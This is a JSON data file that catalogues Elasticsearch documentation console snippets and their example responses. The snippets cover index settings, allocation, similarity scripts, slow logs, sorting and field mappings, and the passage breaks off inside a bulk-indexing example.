{"source_location":{"file":"upgrade/archived-settings.asciidoc","line":24},"digest":"f3c696cd63a3f042e62cbb94b75c2427","lang":"console","found":["ruby"],"source":"GET _cluster/settings?flat_settings=true&filter_path=persistent.archived*"}, {"source_location":{"file":"upgrade/archived-settings.asciidoc","line":32},"digest":"640a89d0b39630269433425ff476faf3","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"archived.*\": null\n }\n}"}, {"source_location":{"file":"upgrade/archived-settings.asciidoc","line":64},"digest":"fde3463ddf136fdfff1306a60986515e","lang":"console","found":["ruby"],"source":"GET */_settings?flat_settings=true&filter_path=**.settings.archived*"}, {"source_location":{"file":"upgrade/archived-settings.asciidoc","line":73},"digest":"64ffaa6814ec1ec4f59b8f33b47cffb4","lang":"console","found":["ruby"],"source":"PUT /my-index/_settings\n{\n \"archived.*\": null\n}"}, {"source_location":{"file":"index-modules/allocation/filtering.asciidoc","line":54},"digest":"dad2d4add751fde5c39475ca709cc14b","lang":"console","found":["ruby"],"source":"PUT test/_settings\n{\n \"index.routing.allocation.include.size\": \"big,medium\"\n}"}, {"source_location":{"file":"index-modules/allocation/filtering.asciidoc","line":74},"digest":"beba2a9795c8a13653e1edf64eec4357","lang":"console","found":["ruby"],"source":"PUT test/_settings\n{\n \"index.routing.allocation.require.size\": \"big\",\n \"index.routing.allocation.require.rack\": \"rack1\"\n}"}, {"source_location":{"file":"index-modules/allocation/filtering.asciidoc","line":122},"digest":"28ac880057135e46b3b00c7f3976538c","lang":"console","found":["ruby"],"source":"PUT test/_settings\n{\n \"index.routing.allocation.include._ip\": \"192.168.2.*\"\n}"}, {"source_location":{"file":"index-modules/allocation/delayed.asciidoc","line":40},"digest":"17e6f3fac556f08a78f7a876e71acb89","lang":"console","found":["ruby"],"source":"PUT _all/_settings\n{\n \"settings\": {\n \"index.unassigned.node_left.delayed_timeout\": \"5m\"\n }\n}"}, {"source_location":{"file":"index-modules/allocation/delayed.asciidoc","line":82},"digest":"a38f29375eabd0103f8d7c00b17bb0ab","lang":"console","found":["ruby"],"source":"GET _cluster/health <1>"}, {"source_location":{"file":"index-modules/allocation/delayed.asciidoc","line":95},"digest":"25d40d3049e57e2bb70c2c5b88bd7b87","lang":"console","found":["ruby"],"source":"PUT _all/_settings\n{\n \"settings\": {\n \"index.unassigned.node_left.delayed_timeout\": \"0\"\n }\n}"}, {"source_location":{"file":"index-modules/allocation/prioritization.asciidoc","line":17},"digest":"8703f3b1b3895543abc36e2a7a0013d3","lang":"console","found":["ruby"],"source":"PUT index_1\n\nPUT index_2\n\nPUT index_3\n{\n \"settings\": {\n \"index.priority\": 10\n }\n}\n\nPUT index_4\n{\n \"settings\": {\n \"index.priority\": 5\n }\n}"}, {"source_location":{"file":"index-modules/allocation/prioritization.asciidoc","line":48},"digest":"a425fcab60f603504becee7d001f0a4b","lang":"console","found":["ruby"],"source":"PUT index_4/_settings\n{\n \"index.priority\": 1\n}"}, {"source_location":{"file":"index-modules/blocks.asciidoc","line":71},"digest":"9de4ea9d5f3d427a71ee07d998cb5611","lang":"console","found":[],"source":"PUT /my-index-000001/_block/write"}, {"source_location":{"file":"index-modules/blocks.asciidoc","line":138},"digest":"9de4ea9d5f3d427a71ee07d998cb5611","lang":"console","found":[],"source":"PUT /my-index-000001/_block/write"}, {"source_location":{"file":"index-modules/blocks.asciidoc","line":146},"digest":"3ab866019f7459969e81ab1050b252ef","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true,\n \"shards_acknowledged\" : true,\n \"indices\" : [ {\n \"name\" : \"my-index-000001\",\n \"blocked\" : true\n } ]\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":22},"digest":"2342a56279106ea643026df657bf7f88","lang":"console","found":["ruby"],"source":"PUT /index\n{\n \"settings\": {\n \"index\": {\n \"similarity\": {\n \"my_similarity\": {\n \"type\": \"DFR\",\n \"basic_model\": \"g\",\n \"after_effect\": \"l\",\n \"normalization\": \"h2\",\n \"normalization.h2.c\": \"3.0\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":45},"digest":"528e5f1c345c3769248cc6889e8cf552","lang":"console","found":["ruby"],"source":"PUT /index/_mapping\n{\n \"properties\" : {\n \"title\" : { \"type\" : \"text\", \"similarity\" : \"my_similarity\" }\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":192},"digest":"dfa16b7300d225e013f23625f44c087b","lang":"console","found":["ruby"],"source":"PUT /index\n{\n \"settings\": {\n \"number_of_shards\": 1,\n \"similarity\": {\n \"scripted_tfidf\": {\n \"type\": \"scripted\",\n \"script\": {\n \"source\": \"double tf = Math.sqrt(doc.freq); double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; double norm = 1/Math.sqrt(doc.length); return query.boost * tf * idf * norm;\"\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"field\": {\n \"type\": \"text\",\n \"similarity\": \"scripted_tfidf\"\n }\n }\n }\n}\n\nPUT /index/_doc/1\n{\n \"field\": \"foo bar foo\"\n}\n\nPUT /index/_doc/2\n{\n \"field\": \"bar baz\"\n}\n\nPOST /index/_refresh\n\nGET /index/_search?explain=true\n{\n \"query\": {\n \"query_string\": {\n \"query\": \"foo^1.7\",\n \"default_field\": \"field\"\n }\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":242},"digest":"df8b1a4d943bd74796fceec5133e995b","lang":"console-result","found":[],"source":"{\n \"took\": 12,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.9508477,\n \"hits\": [\n {\n \"_shard\": \"[index][0]\",\n \"_node\": \"OzrdjxNtQGaqs4DmioFw9A\",\n \"_index\": \"index\",\n \"_id\": \"1\",\n \"_score\": 1.9508477,\n \"_source\": {\n \"field\": \"foo bar foo\"\n },\n \"_explanation\": {\n \"value\": 1.9508477,\n \"description\": \"weight(field:foo in 0) [PerFieldSimilarity], result of:\",\n \"details\": [\n {\n \"value\": 1.9508477,\n \"description\": \"score from ScriptedSimilarity(weightScript=[null], script=[Script{type=inline, lang='painless', idOrCode='double tf = Math.sqrt(doc.freq); double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; double norm = 1/Math.sqrt(doc.length); return query.boost * tf * idf * norm;', options={}, params={}}]) computed from:\",\n \"details\": [\n {\n \"value\": 1.0,\n \"description\": \"weight\",\n \"details\": []\n },\n {\n \"value\": 1.7,\n \"description\": \"query.boost\",\n \"details\": []\n },\n {\n \"value\": 2,\n \"description\": \"field.docCount\",\n \"details\": []\n },\n {\n \"value\": 4,\n \"description\": \"field.sumDocFreq\",\n \"details\": []\n },\n {\n \"value\": 5,\n \"description\": \"field.sumTotalTermFreq\",\n \"details\": []\n },\n {\n \"value\": 1,\n \"description\": \"term.docFreq\",\n \"details\": []\n },\n {\n \"value\": 2,\n \"description\": \"term.totalTermFreq\",\n \"details\": []\n },\n {\n \"value\": 2.0,\n \"description\": \"doc.freq\",\n \"details\": []\n },\n {\n \"value\": 3,\n \"description\": \"doc.length\",\n \"details\": []\n }\n ]\n }\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":357},"digest":"5f8fb5513d4f725434db2f517ad4298f","lang":"console","found":["ruby"],"source":"PUT /index\n{\n \"settings\": {\n \"number_of_shards\": 1,\n \"similarity\": {\n \"scripted_tfidf\": {\n \"type\": \"scripted\",\n \"weight_script\": {\n \"source\": \"double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; return query.boost * idf;\"\n },\n \"script\": {\n \"source\": \"double tf = Math.sqrt(doc.freq); double norm = 1/Math.sqrt(doc.length); return weight * tf * norm;\"\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"field\": {\n \"type\": \"text\",\n \"similarity\": \"scripted_tfidf\"\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":520},"digest":"553d79817bb1333970e99507c37a159a","lang":"console","found":["ruby"],"source":"PUT /index\n{\n \"settings\": {\n \"index\": {\n \"similarity\": {\n \"default\": {\n \"type\": \"boolean\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/similarity.asciidoc","line":540},"digest":"48de51de87a8ad9fd8b8db1ca25b85c1","lang":"console","found":["ruby"],"source":"POST /index/_close\n\nPUT /index/_settings\n{\n \"index\": {\n \"similarity\": {\n \"default\": {\n \"type\": \"boolean\"\n }\n }\n }\n}\n\nPOST /index/_open"}, {"source_location":{"file":"index-modules/slowlog.asciidoc","line":31},"digest":"23af230e824f48b9cd56a4cf973d788c","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index.search.slowlog.threshold.query.warn\": \"10s\",\n \"index.search.slowlog.threshold.query.info\": \"5s\",\n \"index.search.slowlog.threshold.query.debug\": \"2s\",\n \"index.search.slowlog.threshold.query.trace\": \"500ms\",\n \"index.search.slowlog.threshold.fetch.warn\": \"1s\",\n \"index.search.slowlog.threshold.fetch.info\": \"800ms\",\n \"index.search.slowlog.threshold.fetch.debug\": \"500ms\",\n \"index.search.slowlog.threshold.fetch.trace\": \"200ms\"\n}"}, {"source_location":{"file":"index-modules/slowlog.asciidoc","line":66},"digest":"34cdeefb09bbbe5206957a8bc1bd513d","lang":"console","found":[],"source":"PUT /my-index-000001/_settings\n{\n \"index.search.slowlog.include.user\": true\n}"}, {"source_location":{"file":"index-modules/slowlog.asciidoc","line":133},"digest":"844928da2ff9a1394af5347a5e2e4f78","lang":"console","found":["ruby"],"source":"PUT /my-index-000001/_settings\n{\n \"index.indexing.slowlog.threshold.index.warn\": \"10s\",\n \"index.indexing.slowlog.threshold.index.info\": \"5s\",\n \"index.indexing.slowlog.threshold.index.debug\": \"2s\",\n \"index.indexing.slowlog.threshold.index.trace\": \"500ms\",\n \"index.indexing.slowlog.source\": \"1000\"\n}"}, {"source_location":{"file":"index-modules/slowlog.asciidoc","line":149},"digest":"2f07b81fd47ec3b074242a760f0c4e9e","lang":"console","found":[],"source":"PUT /my-index-000001/_settings\n{\n \"index.indexing.slowlog.include.user\": true\n}"}, {"source_location":{"file":"index-modules/store.asciidoc","line":30},"digest":"7b3e913368e96eaa6e22e0d03c81310e","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index.store.type\": \"hybridfs\"\n }\n}"}, {"source_location":{"file":"index-modules/store.asciidoc","line":122},"digest":"e3b3a8ae12ab947ad3ba96eb228402ca","lang":"console","found":["ruby"],"source":"PUT /my-index-000001\n{\n \"settings\": {\n \"index.store.preload\": [\"nvd\", \"dvd\"]\n }\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":16},"digest":"156bc64c94f9f3334fbce25165d2286a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"sort.field\": \"date\", <1>\n \"sort.order\": \"desc\" <2>\n }\n },\n \"mappings\": {\n \"properties\": {\n \"date\": {\n \"type\": \"date\"\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":41},"digest":"d4fb482a51d67a1af48e429af6019a46","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"index\": {\n \"sort.field\": [ \"username\", \"date\" ], <1>\n \"sort.order\": [ \"asc\", \"desc\" ] <2>\n }\n },\n \"mappings\": {\n \"properties\": {\n \"username\": {\n \"type\": \"keyword\",\n \"doc_values\": true\n },\n \"date\": {\n \"type\": \"date\"\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":114},"digest":"8d7193902a353872740a3324c60c5001","lang":"console","found":["ruby"],"source":"PUT events\n{\n \"settings\": {\n \"index\": {\n \"sort.field\": \"timestamp\",\n \"sort.order\": \"desc\" <1>\n }\n },\n \"mappings\": {\n \"properties\": {\n \"timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":138},"digest":"fc8a426f8a5112e61e2acb913982a8d9","lang":"console","found":["ruby"],"source":"GET /events/_search\n{\n \"size\": 10,\n \"sort\": [\n { \"timestamp\": \"desc\" }\n ]\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":159},"digest":"e1f6ea7c0937cf7e6ea7e8209e52e8bb","lang":"console","found":["ruby"],"source":"GET /events/_search\n{\n \"size\": 10,\n \"sort\": [ <1>\n { \"timestamp\": \"desc\" }\n ],\n \"track_total_hits\": false\n}"}, {"source_location":{"file":"index-modules/index-sorting.asciidoc","line":177},"digest":"44a1acf9f77e74727d4847090036bd6c","lang":"console-result","found":[],"source":"{\n \"_shards\": ...\n \"hits\" : { <1>\n \"max_score\" : null,\n \"hits\" : []\n },\n \"took\": 20,\n \"timed_out\": false\n}"}, {"source_location":{"file":"mapping/dynamic-mapping.asciidoc","line":11},"digest":"61c49cee90c6aa0eafbdd5cc03936e7d","lang":"console","found":["ruby"],"source":"PUT data/_doc/1 <1>\n{ \"count\": 5 }"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":63},"digest":"6f6d5a4a90e1265822628d4ced963639","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"create_date\": \"2015/09/02\"\n}\n\nGET my-index-000001/_mapping <1>"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":81},"digest":"936d809c848f8b77d5b55f57f0aab89a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"date_detection\": false\n }\n}\n\nPUT my-index-000001/_doc/1 <1>\n{\n \"create_date\": \"2015/09/02\"\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":103},"digest":"7e16d21cba51eb8960835b63a1a7266a","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_date_formats\": [\"MM/dd/yyyy\"]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"create_date\": \"09/25/2015\"\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":126},"digest":"b4f3165e873f551fbaa03945877eb370","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_date_formats\": [ \"yyyy/MM\", \"MM/dd/yyyy\"]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"create_date\": \"09/25/2015\"\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":151},"digest":"50212cb14bca00cc0f4ca5eb54bd7123","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"mappings\": {\n \"dynamic_date_formats\": [\n \"yyyy/MM\",\n \"MM/dd/yyyy\"\n ],\n \"properties\": {\n \"create_date\": {\n \"type\": \"date\",\n \"format\": \"MM/dd/yyyy\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":175},"digest":"e63cf08350e9381f519c2835843be7cd","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_date_formats\": [ \"yyyy/MM||MM/dd/yyyy\"]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"create_date\": \"09/25/2015\"\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":200},"digest":"3d1b8715bb3383b8f400abbd2b66bac8","lang":"console-result","found":[],"source":"{\n \"my-index-000001\": {\n \"mappings\": {\n \"dynamic_date_formats\": [\n \"yyyy/MM||MM/dd/yyyy\"\n ],\n \"properties\": {\n \"create_date\": {\n \"type\": \"date\",\n \"format\": \"yyyy/MM||MM/dd/yyyy\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/dynamic/field-mapping.asciidoc","line":234},"digest":"e41a9bac42d0c1cb103674ae9039b7af","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"numeric_detection\": true\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"my_float\": \"1.0\", <1>\n \"my_integer\": \"1\" <2>\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":96},"digest":"ba5dc6fb9bbe1406714da5d641462a23","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings_as_ip\": {\n \"match_mapping_type\": \"string\",\n \"match\": \"ip*\",\n \"runtime\": {\n \"type\": \"ip\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":148},"digest":"5a006feed86309b547bbaa1baca1c496","lang":"console","found":[],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"numeric_counts\": {\n \"match_mapping_type\": [\"long\", \"double\"],\n \"match\": \"count\",\n \"mapping\": {\n \"type\": \"{dynamic_type}\",\n \"index\": false\n }\n }\n },\n {\n \"integers\": {\n \"match_mapping_type\": \"long\",\n \"mapping\": {\n \"type\": \"integer\"\n }\n }\n },\n {\n \"strings\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n }\n }\n },\n {\n \"non_objects_keyword\": {\n \"match_mapping_type\": \"*\",\n \"unmatch_mapping_type\": \"object\",\n \"mapping\": {\n \"type\": \"keyword\"\n }\n }\n }\n ]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"my_integer\": 5, <1>\n \"my_string\": \"Some string\", <2>\n \"my_boolean\": \"false\", <3>\n \"field\": {\"count\": 4} <4>\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":234},"digest":"c208de54369379e8d78ab201be18b6be","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"longs_as_strings\": {\n \"match_mapping_type\": \"string\",\n \"match\": \"long_*\",\n \"unmatch\": \"*_text\",\n \"mapping\": {\n \"type\": \"long\"\n }\n }\n }\n ]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"long_num\": \"5\", <1>\n \"long_text\": \"foo\" <2>\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":272},"digest":"b430122345d560bbd2a77826f5c475f7","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"ip_fields\": {\n \"match\": [\"ip_*\", \"*_ip\"],\n \"unmatch\": [\"one*\", \"*two\"],\n \"mapping\": {\n \"type\": \"ip\"\n }\n }\n }\n ]\n }\n}\n\nPUT my-index/_doc/1\n{\n \"one_ip\": \"will not match\", <1>\n \"ip_two\": \"will not match\", <2>\n \"three_ip\": \"12.12.12.12\", <3>\n \"ip_four\": \"13.13.13.13\" <4>\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":316},"digest":"643b9506d1129d5215f9a1bb0b509aba","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"full_name\": {\n \"path_match\": \"name.*\",\n \"path_unmatch\": \"*.middle\",\n \"mapping\": {\n \"type\": \"text\",\n \"copy_to\": \"full_name\"\n }\n }\n }\n ]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"name\": {\n \"first\": \"John\",\n \"middle\": \"Winston\",\n \"last\": \"Lennon\"\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":353},"digest":"ae398a6b6494e7982ef2549fc2cd2d8e","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"full_name\": {\n \"path_match\": [\"name.*\", \"user.name.*\"],\n \"path_unmatch\": [\"*.middle\", \"*.midinitial\"],\n \"mapping\": {\n \"type\": \"text\",\n \"copy_to\": \"full_name\"\n }\n }\n }\n ]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"name\": {\n \"first\": \"John\",\n \"middle\": \"Winston\",\n \"last\": \"Lennon\"\n }\n}\n\nPUT my-index-000001/_doc/2\n{\n \"user\": {\n \"name\": {\n \"first\": \"Jane\",\n \"midinitial\": \"M\",\n \"last\": \"Salazar\"\n }\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":400},"digest":"c012f42b26eb8dd9b197644c3ed954cf","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/2\n{\n \"name\": {\n \"first\": \"Paul\",\n \"last\": \"McCartney\",\n \"title\": {\n \"value\": \"Sir\",\n \"category\": \"order of chivalry\"\n }\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":425},"digest":"f642b64e592131f37209a5100fe161cc","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"named_analyzers\": {\n \"match_mapping_type\": \"string\",\n \"match\": \"*\",\n \"mapping\": {\n \"type\": \"text\",\n \"analyzer\": \"{name}\"\n }\n }\n },\n {\n \"no_doc_values\": {\n \"match_mapping_type\":\"*\",\n \"mapping\": {\n \"type\": \"{dynamic_type}\",\n \"doc_values\": false\n }\n }\n }\n ]\n }\n}\n\nPUT my-index-000001/_doc/1\n{\n \"english\": \"Some English text\", <1>\n \"count\": 5 <2>\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":477},"digest":"92d0c12d53a900308150d572c3f2f82f","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings_as_keywords\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"keyword\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":503},"digest":"35c33ef48cf8a4ee368874141622f9d5","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings_as_text\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"text\"\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":538},"digest":"82e94b6cdf65e324575f916b3776b779","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings_as_keywords\": {\n \"match_mapping_type\": \"string\",\n \"runtime\": {}\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":557},"digest":"5332c4cca5fbb45cc700dcd34f37bc38","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_doc/1\n{\n \"english\": \"Some English text\",\n \"count\": 5\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":570},"digest":"2f2fd35905feef0b561c05d70c7064c1","lang":"console","found":["ruby"],"source":"GET my-index-000001/_mapping"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":576},"digest":"93a6b281727ade526070d72b6ab19f39","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"mappings\" : {\n \"dynamic_templates\" : [\n {\n \"strings_as_keywords\" : {\n \"match_mapping_type\" : \"string\",\n \"runtime\" : { }\n }\n }\n ],\n \"runtime\" : {\n \"english\" : {\n \"type\" : \"keyword\"\n }\n },\n \"properties\" : {\n \"count\" : {\n \"type\" : \"long\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":610},"digest":"cdc04e6d3d37f036c7045ee4a582ef06","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"strings_as_keywords\": {\n \"match_mapping_type\": \"string\",\n \"mapping\": {\n \"type\": \"text\",\n \"norms\": false,\n \"fields\": {\n \"keyword\": {\n \"type\": \"keyword\",\n \"ignore_above\": 256\n }\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/dynamic/templates.asciidoc","line":648},"digest":"3b0475515ee692a2d9850c2bd7cdb895","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic_templates\": [\n {\n \"unindexed_longs\": {\n \"match_mapping_type\": \"long\",\n \"mapping\": {\n \"type\": \"long\",\n \"index\": false\n }\n }\n },\n {\n \"unindexed_doubles\": {\n \"match_mapping_type\": \"double\",\n \"mapping\": {\n \"type\": \"float\", <1>\n \"index\": false\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":20},"digest":"a7e58d4dc477a84c1306fd5749aafd8b","lang":"console","found":["ruby","go"],"source":"PUT /my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"age\": { \"type\": \"integer\" }, <1>\n \"email\": { \"type\": \"keyword\" }, <2>\n \"name\": { \"type\": \"text\" } <3>\n }\n }\n}"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":49},"digest":"36962727b806315b221e8a63e05caddc","lang":"console","found":["ruby","go"],"source":"PUT /my-index-000001/_mapping\n{\n \"properties\": {\n \"employee-id\": {\n \"type\": \"keyword\",\n \"index\": false\n }\n }\n}"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":78},"digest":"a6fdd0100cd362df54af6c95d1055c96","lang":"console","found":["python","ruby","go"],"source":"GET /my-index-000001/_mapping"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":86},"digest":"4e9f149ac48abb19dc1f548e02411708","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"mappings\" : {\n \"properties\" : {\n \"age\" : {\n \"type\" : \"integer\"\n },\n \"email\" : {\n \"type\" : \"keyword\"\n },\n \"employee-id\" : {\n \"type\" : \"keyword\",\n \"index\" : false\n },\n \"name\" : {\n \"type\" : \"text\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":123},"digest":"dea22bb4997e368950f0fc80f2a5f304","lang":"console","found":["ruby","go"],"source":"GET /my-index-000001/_mapping/field/employee-id"}, {"source_location":{"file":"mapping/explicit-mapping.asciidoc","line":131},"digest":"f3d0da6f6170def36b700e9f56ca0949","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"mappings\" : {\n \"employee-id\" : {\n \"full_name\" : \"employee-id\",\n \"mapping\" : {\n \"employee-id\" : {\n \"type\" : \"keyword\",\n \"index\" : false\n }\n }\n }\n }\n }\n}\n"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":130},"digest":"4fe78a4dfb747fd5dc34145ec6b76183","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"runtime\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\": \"emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))\"\n }\n }\n },\n \"properties\": {\n \"@timestamp\": {\"type\": \"date\"}\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":175},"digest":"100d4e33158069f3caa32e8bfa0eb3d0","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"dynamic\": \"runtime\",\n \"properties\": {\n \"@timestamp\": {\n \"type\": \"date\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":197},"digest":"f7726cc2c60dea26b88bf0df99fb0813","lang":"console","found":["ruby"],"source":"PUT my-index-000001/\n{\n \"mappings\": {\n \"runtime\": {\n \"day_of_week\": {\n \"type\": \"keyword\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":249},"digest":"585b19369cb9b9763a7e8d405f009a47","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_mapping\n{\n \"runtime\": {\n \"day_of_week\": null\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":287},"digest":"cc28a3dafcd5056f2a3ec07f6fda5091","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"runtime_mappings\": {\n \"day_of_week\": {\n \"type\": \"keyword\",\n \"script\": {\n \"source\": \"emit(doc['@timestamp'].value.dayOfWeekEnum.getDisplayName(TextStyle.FULL, Locale.ROOT))\"\n }\n }\n },\n \"aggs\": {\n \"day_of_week\": {\n \"terms\": {\n \"field\": \"day_of_week\"\n }\n }\n }\n}"}, {"source_location":{"file":"mapping/runtime.asciidoc","line":316},"digest":"2d37b02cbf6d30ae11bf239a54ec9423","lang":"console","found":["ruby"],"source":"POST my-index-000001/_bulk?refresh=true\n{\"index\":{}}\n{\"@timestamp\":1516729294000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":\"5.2\",\"start\": \"300\",\"end\":\"8675309\"}}\n{\"index\":{}}\n{\"@timestamp\":1516642894000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":\"5.8\",\"start\": \"300\",\"end\":\"8675309\"}}\n{\"index\":{}}\n{\"@timestamp\":1516556494000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":\"5.1\",\"start\": \"300\",\"end\":\"8675309\"}}\n{\"index\":{}}\n{\"@timestamp\":1516470094000,\"model_number\":\"QVKC92Q\",\"measures\":{\"voltage\":\"5.6\",\"start\": \"300\",\"end\":\"8675309\"}}\n{\"index\":{}}\n{\"@timestamp\":1516383694000,\"model_number\":\"HG537PU\",\"measures\":{\"voltage\":\"4.2\",\"start\": 